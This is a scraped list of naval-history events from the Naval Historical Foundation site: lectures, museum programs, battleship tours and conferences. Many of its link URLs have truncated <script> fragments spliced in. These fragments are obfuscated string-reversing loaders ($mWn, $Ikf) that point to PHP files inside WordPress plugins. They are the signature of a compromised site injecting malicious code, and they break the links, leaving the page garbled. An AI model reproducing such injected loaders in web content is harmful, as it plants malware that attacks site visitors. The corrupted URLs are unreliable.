- [National Archives Lecture: The Armageddon Letters - Kennedy, Khrushchev, Castro in the Cuban Missile Crisis ](https://navyhistory.org/event/national-archives-lecture-the-armaged<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssa/) - James Blight and Janet Lang discuss their new book, The Armageddon Letters, which takes readers behind the scenes during the October 1962 Cuban Missile Crisis, arguably one of the most dangerous confrontations of the nuclear age. Researched over 25 years, and augmented with an interactive trans media program, Blight's and Lang's account has been described
- [National Archives Lecture: The Weight of Vengence - The United States, the British Empire, and the War of 1812 ](https://navyhistory.org/event/national-archives-lecture-the-weight-of-vengence-the-united-states-the-british-empire-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");r/) - History professor Troy Bickham places this "forgotten war" in a global context. The United States saw an opportunity to challenge Britain's dominance, while the British feared the rise of U.S. maritime power and territorial expansion. The War of 1812 was a turning point for both countries and marked a critical moment of self-definition for the
- [National Archives Lecture: War on the Waters, The Union and Confederate Navies, 1861–1865 ](https://navyhistory.org/event/national-archives-lecture-war-on-the-waters-the-union-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=[/) - Even though the two navies represented a small percentage of the Union and Confederate fighting forces, they were crucial to the war's outcome. Civil War historian James M. McPherson recounts the war's naval campaigns, their leaders, and military innovations such as ironclad vessels, naval mines, and the first submarine to sink an enemy vessel. A
- [Batty Battleship's Halloween Bash at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/batty-battleships-halloween-bash-at-the-battleship-north-carolina/) - Trick or Treat aboard the Battleship North Carolina with Batty Battleship, brother Buggy and their friends as they come back to the Battleship for a spooktacular trick or treating time. A lot of fun and no scares, it is the best location for the family to share. But don’t be frightened and don’t you fret
- [Ghost Ship at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/ghost-ship-at-the-battleship-north-carolina-4/) - Where fear sets sail, it is the most anticipated scare and haunted house of the season as the Battleship North Carolinaturns into a haunting shade of green and starting Friday night on October 19, the vessel turns into Ghost Ship. No movie set needed for this haunt as the Ship can terrify any soul when
- [Ghost Ship at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/ghost-ship-at-the-battleship-north-carolina-3/) - Where fear sets sail, it is the most anticipated scare and haunted house of the season as the Battleship North Carolinaturns into a haunting shade of green and starting Friday night on October 19, the vessel turns into Ghost Ship. No movie set needed for this haunt as the Ship can terrify any soul when
- [Ghost Ship at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/ghost-ship-at-the-battleship-north-carolina-2/) - Where fear sets sail, it is the most anticipated scare and haunted house of the season as the Battleship North Carolinaturns into a haunting shade of green and starting Friday night on October 19, the vessel turns into Ghost Ship. No movie set needed for this haunt as the Ship can terrify any soul when
- [Ghost Ship at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/ghost-ship-at-the-battleship-north-carolina-1/) - Where fear sets sail, it is the most anticipated scare and haunted house of the season as the Battleship North Carolina turns into a haunting shade of green and starting Friday night on October 19, the vessel turns into Ghost Ship. No movie set needed for this haunt as the Ship can terrify any soul
- [Hidden Battleship at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/hidden-battleship-at-the-battleship-north-carolina-2/) - For the explorer at heart, bring a friend to the Battleship North Carolina for a unique, behind-the-scenes tour of un-restored areas of the Battleship. The four-hour tour consists of small groups with guides. Guests explore the bow (officers’ country and boatswain locker), third deck (Radio II, brig, after gyro, storage rooms, ammunition handling, Engineer’s office, torpedo
- [Hidden Battleship at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/hidden-battleship-at-the-battleship-north-carolina-1/) - For the explorer at heart, bring a friend to the Battleship North Carolina for a unique, behind-the-scenes tour of un-restored areas of the Battleship. The four-hour tour consists of small groups with guides. Guests explore the bow (officers' country and boatswain locker), third deck (Radio II, brig, after gyro, storage rooms, ammunition handling, Engineer's office, torpedo
- [Edgar P. Richard Symposium, 1812: Portraits of War ](https://navyhistory.org/event/edgar-p-richard-symposium-1812-portraits-of-war/) - Whether you consider yourself a War of 1812 aficionado or just a history enthusiast, "1812: Portraits of War" will captivate you. The program offers an all-star lineup of speakers discussing the lives of individuals on display in the museum's current exhibition, "1812: A Nation Emerges.” Catherine Allgor, Professor of History, University of California Riverside "Mrs.
- [Authors and Artifacts Lecture: A Man and His Ship - America's Greatest Naval Architect and His Quest to Build the S.S. <em>United States</em>](https://navyhistory.org/event/authors-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/sn/) - Author Steven Ujifusa will discuss his book called A Man and His Ship: America's Greatest Naval Architect and His Quest to Build the S.S. United States. The book will be available for purchase and signing by the author after the talk. The book is not only about the United States, as storied a ship as
- [Navy League Sea-Air-Space Expo 2013](https://navyhistory.org/event/navy-league-sea-air-space-expo-2013/) - For more information visit: www.seaairspace.org
- [Navy Museum Lecture: Pirates and Privateers](https://navyhistory.org/event/navy-museum-lecture-pirates-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/stee/) - Join Dr. Mike Crawford, Senior Historian at the Naval History & Heritage Command, for an animated lecture on the activities of pirates and privateers during the War of 1812. Lecture will be held in the Museum Education Center. Please visit the National Museum of the United States Navy website for more information.
- [<em>Pride of Baltimore II</em> at Washington Navy Yard](https://navyhistory.org/event/pride-of-baltimore-ii-at-washing<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/st/) - Pride of Baltimore II is a reproduction of an 1812-era topsail schooner privateer. She is a working symbol of Chesapeake Bay area innovation, entrepreneurial spirit and patriot-ism. Pride II is a living reminder of America’s rich maritime heritage. Pride II can be reached by the Riverwalk Trail, along the Anacostia River. Free open deck tours
- [237th Navy Birthday Celebration](https://navyhistory.org/event/237th-navy-birthday-celebration/) - The National Capital Region's Navy Birthday Celebration will be held on Saturday, 13 October 2012. This year's gala event will be hosted by the National Capital Council of the Navy League of the United States and co-hosted by the Naval Historical Foundation. Join us as we celebrate our Navy's 237th birthday and enjoy the camaraderie
- [Lecture: The War That Nobody Won - A British Perspective on the War of 1812](https://navyhistory.org/event/war-that-nobody-won-british-perspective-war-of-1812/) - The War of 1812 - Madison's War - has become the source of myth and legend. It resulted in the unopposed destruction of Washington and the burning of the White House, had catastrophic consequences for American commerce and the economy, and was seen in Britain as a vexatious distraction in a bigger continental conflict. Join
- [DOD History Speaker Series: The Seventh Fleet in the Pacific](https://navyhistory.org/event/<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnem/)
- [Home School at the Museum: Geodesic Domes!](https://navyhistory.org/event/home-school-at-the-museum-geodesic-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - Home School at the Museum: Geodesic Domes! Students will learn the structure strength of domes and how the U.S. Navy SeaBees incorporated them into their projects. Family teams will build a 3 foot diameter geodesic dome out of straws and pipe cleaners…it is harder than it looks! Please RSVP for Home School at the Museum
- [Home School at the Museum: Geodesic Domes!](https://navyhistory.org/event/home-school-at-the-museum-geodesic-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - Home School at the Museum: Geodesic Domes! Students will learn the structure strength of domes and how the U.S. Navy SeaBees incorporated them into their projects. Family teams will build a 3 foot diameter geodesic dome out of straws and pipe cleaners…it is harder than it looks! Please RSVP for Home School at the Museum
- [Home School at the Museum: Geodesic Domes!](https://navyhistory.org/event/home-school-at-the-museum-geodesic-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - Home School at the Museum: Geodesic Domes! Students will learn the structure strength of domes and how the U.S. Navy SeaBees incorporated them into their projects. Family teams will build a 3 foot diameter geodesic dome out of straws and pipe cleaners…it is harder than it looks! Please RSVP for Home School at the Museum
- [Home School at the Museum: Geodesic Domes!](https://navyhistory.org/event/home-school-at-the-museum-geodesic-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - Home School at the Museum: Geodesic Domes! Students will learn the structure strength of domes and how the U.S. Navy SeaBees incorporated them into their projects. Family teams will build a 3 foot diameter geodesic dome out of straws and pipe cleaners...it is harder than it looks! Please RSVP for Home School at the Museum
- [Lunchtime Lecture: Ian Garden, Nazi Film Propaganda and the 1936 Olympia Film](https://navyhistory.org/event/lunchtime-lecture-ian-garden-nazi-film-propag<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.er/) - Lunchtime lecture and book signing with Ian Garden Based upon Garden's book, The Third Reich's Celluloid War: The Nazi Propaganda Machine in Film & TV, this lecture exposes the myths surrounding the propaganda films produced during the Third Reich. One, that the Nazis were infallible masters in the use of film propaganda. Two, that everything the
- [Lunchtime Lecture: Anita Sanchez, <em>The Invasion of Sandy Bay</em>](https://navyhistory.org/event/lunchtime-lecture-anita-sanchez-the-invasion-of-s<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'ph/) - Lunchtime lecture and book signing with Anita Sanchez A young boy plays a key role when the War of 1812 comes to his Massachusetts coastal fishing village. The little town of Sandy Bay, Massachusetts, was the site of one of the wildest invasions in U.S. history, when the might of the British Empire came up
- [Lunchtime Lecture: Steven Ujifusa, <em>A Man and His Ship</em>](https://navyhistory.org/event/lunchtime-lecture-steven-ujifusa-a-man-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nim/) - Lunchtime lecture and book signing with Steven Ujifusa At the peak of his power, William Francis Gibbs was considered America's best naval architect. His quest to build the finest, fastest, most beautiful ocean liner of his time, the S.S. United States,was a topic of national fascination. When completed in 1952, the ship was hailed as
- [Western Front Association: Fall 2012 World War I History Symposium](https://navyhistory.org/event/western-front-association-fall-2012-world-war-i-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php/) - Western Front Association - East Coast is hosting an exciting day-long program featuring displays, discussions and the following World War I history presentations: “American Lions: The 332nd Infantry Regiment in Italy in World War I” : Robert J. Dalessandro, Chief of the US Army’s Center of Military History, presents the story of the American Doughboys
- [9/11 Patriot Day Events at the Navy Memorial](https://navyhistory.org/event/911-patriot-day-events-2012/) - Huntington Ingalls Industries, U.S. Naval Institute and the U.S. Navy Memorial Foundation cordially invite you to attend 9/11 Patriot Day Events Events to include: 4:00 p.m. – Wreath Laying Ceremony 4:30 p.m. – USS NEW YORK (LPD 21) Photo Exhibit and Reception 6:00 p.m. – Book Release – In the Shadow of Greatness (for more
- [Professor John Hattendorf Lecture: ‘The Naval War of 1812 in International Perspective’](https://navyhistory.org/event/professor-john-hatten<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - The 3rd Annual Alan Villiers Memorial Lecture: ‘The Naval War of 1812 in International Perspective’ Professor John B. Hattendorf United States Naval War College Under the auspices of the Society for Nautical Research, The Naval Review and the Britannia Naval Research Association with the support of the Hudson Trust The event will begin with a short lecture: ‘Preserving HMS
- [Battleship Alive at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/battleship-alive-at-the-battleship-north-carolina/) - The Battleship North Carolina has sponsored "Living History" weekends, called "Battleship Alive," since 1997. "Living History" brings historical events, places and persons "alive" for the public by demonstrating various aspects of the past and allowing interaction with the interpreters. The Living History Crew (LHC) gives insight into the daily life and routine of the crew
- [Museum Small Craft Association Annual Meeting](https://navyhistory.org/event/museum-small-craft-association-annual-meeting/) - The Museum Small Craft Association is a group of professionals and amateurs involved in the study and preservation of traditional small craft. This year’s annual meeting will be at Mystic Seaport, which has the largest collection of historic boats in the United States and possibly the world. There will be time to explore the museum
- [Fall for the Book at GMU: John Barry - Naval Hero](https://navyhistory.org/event/fall-for-the-book-at-gmu-john-barry-naval-hero/) - Tim McGrath has written the definitive biography about the life of Commodore John Barry. A hero of the Revolutionary War, Barry is regarded as one of the founders of the United States Navy. Several US Navy destroyers have been named for him, to include an Arleigh Burke Class destroyer and the former destroyer on display
- [Fall for the Book: SEAL Team Six - Memoirs of an Elite Navy SEAL Sniper](https://navyhistory.org/event/fall-for-the-book-seal-team-six-memoirs-elite-navy-seal-sniper/) - Howard Wasdin is a former Navy SEAL and a member of SEAL Team Six. He is the co-author of SEAL Team Six: Memoirs of an Elite Navy SEAL Sniper. He was awarded the Silver Star for his actions during the Battle of Mogadishu. The SEALS have been a hot topic over the past few years, and
- [Lecture: Chief Petty Officer History and Uniforms](https://navyhistory.org/event/lecture-chief-petty-officer-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/ste/) - As part of the United States Navy Memorial’s “Year of the Chief”, historian and author Master Chief James Leuci will present a talk on Chief Petty Officer history and uniforms. The presentation will cover the history of Chief Petty Officers from 1893 through 1980 and changes to uniform regulations in that time, particularly from the
- [Lecture: Chief Petty Officer History and Uniforms](https://navyhistory.org/event/lecture-chief-petty-officer-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/ste/) - As part of the United States Navy Memorial’s “Year of the Chief”, historian and author Master Chief James Leuci will present a talk on Chief Petty Officer history and uniforms. The presentation will cover the history of Chief Petty Officers from 1893 through 1980 and changes to uniform regulations in that time, particularly from the
- [Lecture - Recreating the Age of Fighting Sail](https://navyhistory.org/event/lecture-recreating-the-age-of-fighting-sail/) - Join the Society of the Cincinnati in Washington, D.C., for the following lecture. Admission is free, and no reservations are required. In this illustrated lecture, distinguished maritime artist Patrick O'Brien discusses the careful research that goes into his paintings of war at sea in the American Revolutionary era. Patrick O'Brien, an illustrator and painter since
- [US Navy Memorial: 2012 Lone Sailor Awards Dinner](https://navyhistory.org/event/us-navy-memorial-2012-lone-sailor-awards-dinner/) - The Lone Sailor Award is given to Sea Service veterans who have excelled with distinction in their respective civilian careers while exemplifying the Navy core values of Honor, Courage and Commitment.The 2012 award recipients will join an impressive list of men and women who have distinguished themselves by drawing upon their military experience to become
- [2013 Society for Military History Conference "War, Society, and Remembrance"](https://navyhistory.org/event/2013-society-for-military-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - Mark your calendar for the 2013 annual meeting of the Society for Military History, which will be held March 14-17 in New Orleans. The University of Southern Mississippi, along with the National World War II Museum and Southeastern Louisiana University, will host the 2013 meeting,
- [The Legacy Series: Blue and Gray <em>North Carolina</em>s at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/the-legacy-series-blue-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-ts/) - The Battleship North Carolina’s new Legacy Series as part of the 2nd Saturday programs continues in the month of August. Carolina Living History Guild members will set up displays that highlight the history of the USS North Carolina and the CSS North Carolina during the American Civil War. Displays will include steam engineering, ironclad ship
- [Battleship 101 at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/battleship-101-at-the-battleship-north-carolina/) - Battleship 101 (part of the 2nd Saturdays Program) visitors engage with ship volunteers stationed throughout the ship as they create dialogue on specific subjects relative to daily shipboard life including gunnery, radar, sickbay, galley and engineering areas. A unique opportunity to talk one on one of what life was like aboard a World War II
- [2012 Association for Great Lakes Maritime History Annual Conference](https://navyhistory.org/event/2012-association-for-great-lakes-maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-/) - The Association for Great Lakes Maritime History is an international organization of museums, historical societies, libraries, archives, and individuals interested in preserving Great Lakes maritime history. The AGLMH holds an annual meeting, publishes a newsletter, and encourages research and the dissemination and exchange of information among members. The organizers of the conference have created a
- [46th Maritime History Conference: Maritime History between the Public and Academia - The Challenges Ahead](https://navyhistory.org/event/46th-maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - For 45 years the annual conferences, organised by the Centre for Maritime Historical Studies, at Exeter, have provided a unique meeting ground between academics, local historians and the public interested in maritime and naval history. Throughout the years the Centre’s conferences have been extremely stimulating in translating the 'specialist' interests of the lay audience into
- [Lecture: The Burning of Washington - The British Invasion of 1814 ](https://navyhistory.org/event/lecture-the-burning-of-washing<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/steg/) - In August 1814, British troops completed a 50-mile march to capture the young American capital. In no time, British arsonists set off an inferno whose glow was seen miles away. This attack was one of the defining moments in the coming-of-age of the United States, and Anthony Pitch tells the dramatic story in The Burning
- [Lecture: U.S. Navy Memorial Celebrates the U.S. Coast Guard’s 222nd Birthday](https://navyhistory.org/event/us-navy-memorial-celebrates-coast-guards-222nd-birthday/) - Author on Deck Presentation and Book Signing As part of the United States Navy Memorial’s Authors on Deck book lecture series and in celebration of the U.S. Coast Guard’s 222nd Birthday, author Thomas P. Ostrom will present The United States Coast Guard and National Defense (McFarland; October 10, 2011). Following his presentation, Ostrom will be
- [Concert: U.S. Navy Memorial Celebrates the U.S. Coast Guard’s 222nd Birthday](https://navyhistory.org/event/concert-us-navy-memorial-celebrates-coast-guards-222nd-birthday/) - The U.S. Navy Memorial will host the United States Coast Guard Dixieland Jazz Band for a special birthday performance during the 2012 Concerts on the Avenue series. The five-member group was organized in 1970 to perform classic jazz, blues and rags with a “New Orleans” flavor and has since entertained audiences across the globe. COST:
- [National Maritime Historical Society 2012 Awards Dinner](https://navyhistory.org/event/national-maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - The trustees and dinner committee of the National Maritime Historical Society are honored to invite you to the 2012 gala Awards Dinner at the New York Yacht Club in New York City. This year, NMHS will be honoring the following worthy recipients with the NMHS Distinguished Service Award, which recognizes outstanding contributions in the maritime
- [North Carolina Maritime History Council 2012 Conference](https://navyhistory.org/event/north-carolina-maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - ANNUAL CONFERENCE, 2012 “The Outer Banks” The North Carolina Maritime History Council organizes a conference in a different region of the state each year. This year's conference concentrates on the maritime history and culture of the area of the Outer Banks, and is centered on Hatteras and the Graveyard of the Atlantic Museum. The conference
- [Naval Historical Foundation STEM-H 2012 – Group 2](https://navyhistory.org/event/nhf-stem-2012-group-2/) - The Navy has partnered with the non-profit 501 (c)(3) Naval Historical Foundation to design and fabricate state-of-the-art exhibits telling the story of the Navy’s role in achieving a peaceful outcome in the Cold War. For a virtual tour of the exhibit, visit www.usnavymuseum.org. The exhibit recognizes the contributions and sacrifices of the brave men and
- [USNI 2012 History Conference: Cyber Power](https://navyhistory.org/event/usni-2012-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - 2012 United States Naval Institute History Conference The History and Future Challenges of Cyber Power
- [Civil War Walking Tour of Newburyport](https://navyhistory.org/event/civil-war-walking-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-/) - Footsteps of Heroes: Civil War Walking Tour of Newburyport The Sesquicentennial of the Civil War commemoration continues: In honor of Yankee Homecoming~ Newburyport and the Civil War author, William Hallett and with his wife Elizabeth, invite you to join them. The 90 minutes walking tour features sites and stories of Newburyport’s Civil War history including
- [Civil War Walking Tour of Newburyport](https://navyhistory.org/event/civil-war-walking-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-/) - Footsteps of Heroes: Civil War Walking Tour of Newburyport The Sesquicentennial of the Civil War commemoration continues: In honor of Yankee Homecoming~ Newburyport and the Civil War author, William Hallett and with his wife Elizabeth, invite you to join them. The 90 minutes walking tour features sites and stories of Newburyport’s Civil War history including
- [222nd Birthday of United States Coast Guard](https://navyhistory.org/event/222nd-birthday-of-united-states-coast-guard/) - A Celebration Hosted by the National Capitol Commandery of the Naval Order of the United States Featuring Commander Gary Thomas, USCG (Ret) Executive Director, Foundation for Coast Guard History An informal No-Host “Cutterman’s Call” will be held immediately following the presentation on the 17th floor at the Vantage Point After Lounge, which offers a stunning
- [Yard Inspectors Family Tour at the Brooklyn Navy Yard](https://navyhistory.org/event/yard-inspec<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - Step into the shoes of an inspector in-training on this Yard-wide adventure! Follow clues through the Yard to uncover its hidden treasures. Search for industrial cranes, street lamps powered by wind and the sun, and much, much more on this hands-on guided Yard-wide family tour! Appropriate for children ages 6 to 13 and their parents.
- [Lecture: Naval Strategies and Battles on the Salt Water During the War of 1812](https://navyhistory.org/event/lecture-naval-strategies-battles-salt-water-during-war-of-1812/) - Award-winning author William H. White takes a look at policies and strategies imposed on America's miniscule navy during the War of 1812 and how the role of the US Navy changed during the course of the war. He will examine a few of the more significant engagements of the war and explore the impact they
- [Battleship <em>North Carolina</em>: The Legacy Series - Under the Sea with Submarine USS <em>North Carolina</em>](https://navyhistory.org/event/battleship-north-carolina-the-legacy-series-under-the-sea-with-submarine-uss-north-carolina/) - This July, the Legacy Series continues as they go Under the Sea with Submarine USS North Carolina. Discover life aboard U.S. Navy submarines at the Battleship North Carolina in the Visitors Center. Area submarine veterans will bring “show and tell items” and video to engage visitors about different eras of submarine development, technologies, equipment, mission, and
- [Battleship <em>North Carolina</em>: Battleship 101](https://navyhistory.org/event/battleship-north-carolina-battleship-101/) - 2nd Saturdays Programs: Battleship 101 Battleship 101 visitors engage with ship volunteers stationed throughout the ship as they create dialogue on specific subjects relative to daily shipboard life including gunnery, radar, sickbay, galley and engineering areas. A unique opportunity to talk one on one of what life was like aboard a WWII Battleship in the
- [Battleship Blast at Battleship <em>North Carolina</em>](https://navyhistory.org/event/battleship-blast-at-battleship-north-carolina/) - 4th of July Fireworks and Festivities The Battleship North Carolina, U.S. Cellular and the City of Wilmington present the 2012, 16th Annual Battleship Blast Fireworks show sponsored by WECT TV-6 and 102.7 WGNI on Wednesday, July 4, 2012. Starting at 5:00 the 4th of July Riverfront Celebration will begin in downtown Wilmington as the Street Fair
- [Authors on Deck: Arctic Mission - 90 North by Airship and Submarine ](https://navyhistory.org/event/authors-on-deck-arctic-mission-90-north-by-airship-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'/) - As part of the United States Navy Memorial’s Authors on Deck book lecture series, author William F. Althoff will present his latest work, Arctic Mission: 90 North by Airship and Submarine (Naval Institute Press; December 15, 2011). Arctic Mission is a historical volume that explores the U.S. Navy’s major Arctic engagements in 1958, following a
- [Authors on Deck: Final Victory - FDR’s Remarkable WWII Presidential Campaign ](https://navyhistory.org/event/authors-on-deck-final-vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/r/) - As part of the United States Navy Memorial’s Authors on Deck book lecture series, historian and author Stanley Weintraub will present his latest work, Final Victory: FDR’s Remarkable WWII Presidential Campaign (Perseus Books; July 1, 2012). Following his presentation, Weintraub will be available for a Q&A session and book signing. In Final Victory, Stanley Weintraub
- [Lecture: A Jewish Naval Hero of the War of 1812](https://navyhistory.org/event/lecture-a-jewish-naval-hero-of-the-war-of-1812/) - Speakers in the Humanities: A lecture by Sanford Sternlicht Born in 1792 in Philadelphia of Sephardic Jewish parents, Uriah Phillips Levy ran away from home at age 10 to serve as a ship's cabin boy. At 19 he was a captain in the merchant marine. During the War of 1812 he joined the US Navy,
- [2012 Naval Historical Foundation Annual Meeting](https://navyhistory.org/event/nhf-annual-meeting-2012/) - RSVP for the Annual Meeting 2012 Meeting Agenda 2011 Annual Meeting Minutes Join the members of the Naval Historical Foundation at the historic Washington Navy Yard for its 87th Annual Meeting. Guests will assemble at the National Navy Museum’s Cold War Gallery (Building 70, see Washington Navy Yard map below) at 11:30 am for a
- [Reading of Declaration of War of 1812](https://navyhistory.org/event/reading-of-declaration-of-war-of-1812/) - At the National Museum of the United States Navy, there will be a commemoration of the 200th anniversary of the start of the War of 1812. The declaration of war will be read aloud, and a performance by the Chanteymen of Ship’s Company will follow. For information on visiting the Museum at the Washington Navy
- [New York City Pickle Night Dinner 2012](https://navyhistory.org/event/new-york-city-pickle-night-dinner-2012/) - This year marks the 207th Anniversary of the Battle of Trafalgar, and the tenth New York City Pickle Night Dinner will mark this history-changing event on 9 November 2012. Those who appreciate the historical significance of Admiral Lord Horatio Nelson and the lore associated with his life are invited to attend this special event. The
- [National Archives Lecture: The Captain Who Burned His Ships](https://navyhistory.org/event/national-archives-lecture-the-captain-who-burned-his-ships/) - Captain Thomas Tingey, who once served in the Royal Navy, was tasked with building an American shipyard. The Washington Navy Yard became the principal facility of the nation's navy. Author Gordon S. Brown discusses Tingey's development of the Navy Yard, his civic role in the city of Washington, and the tragic events of 1814 when
- [Lunchtime Lecture: Joe Rochefort’s War - The Odyssey of the Codebreaker who outwitted Yamamoto at Midway with author Elliot Carlson](https://navyhistory.org/event/lunchtime-lecture-joe-rocheforts-war-the-odyssey-of-the-codebreaker-who-outwitted-yamamo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");re/) - Elliot Carlson’s biography of Capt. Joe Rochefort is the first to be written about the officer who headed Station Hypo, the U.S. Navy’s signals monitoring and cryptographic intelligence unit at Pearl Harbor, and who broke the Japanese navy’s code before the Battle of Midway. The book brings Rochefort to life as the irreverent, fiercely independent,
- [Home School at the Museum: Things That Go Zoom!](https://navyhistory.org/event/home-school-at-the-museum-things-that-go-zoom-4/) - Students will investigate energy, Newton’s three laws of motion, thermodynamics and how they apply to rocket technology. The older students (readers group) will then construct and launch a solid fuel rocket, and the younger students (almost readers) will construct and launch a water bottle rocket. All home school families without military ID or base decals
- [Home School at the Museum: Things That Go Zoom!](https://navyhistory.org/event/home-school-at-the-museum-things-that-go-zoom-3/) - Students will investigate energy, Newton’s three laws of motion, thermodynamics and how they apply to rocket technology. The older students (readers group) will then construct and launch a solid fuel rocket, and the younger students (almost readers) will construct and launch a water bottle rocket. All home school families without military ID or base decals
- [Home School at the Museum: Things That Go Zoom!](https://navyhistory.org/event/home-school-at-the-museum-things-that-go-zoom-1/) - Students will investigate energy, Newton’s three laws of motion, thermodynamics and how they apply to rocket technology. The older students (readers group) will then construct and launch a solid fuel rocket, and the younger students (almost readers) will construct and launch a water bottle rocket. All home school families without military ID or base decals
- [Home School at the Museum: Things That Go Zoom!](https://navyhistory.org/event/home-school-at-the-museum-things-that-go-zoom-2/) - Students will investigate energy, Newton’s three laws of motion, thermodynamics and how they apply to rocket technology. The older students (readers group) will then construct and launch a solid fuel rocket, and the younger students (almost readers) will construct and launch a water bottle rocket. All home school families without military ID or base decals
- [Seminar: Battle of Midway and the Strategic Dilemmas of 1942](https://navyhistory.org/event/seminar-battle-of-midway-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-/) - This event is free and open to the public. Please visit the New York Military Affairs Symposium website for more information.
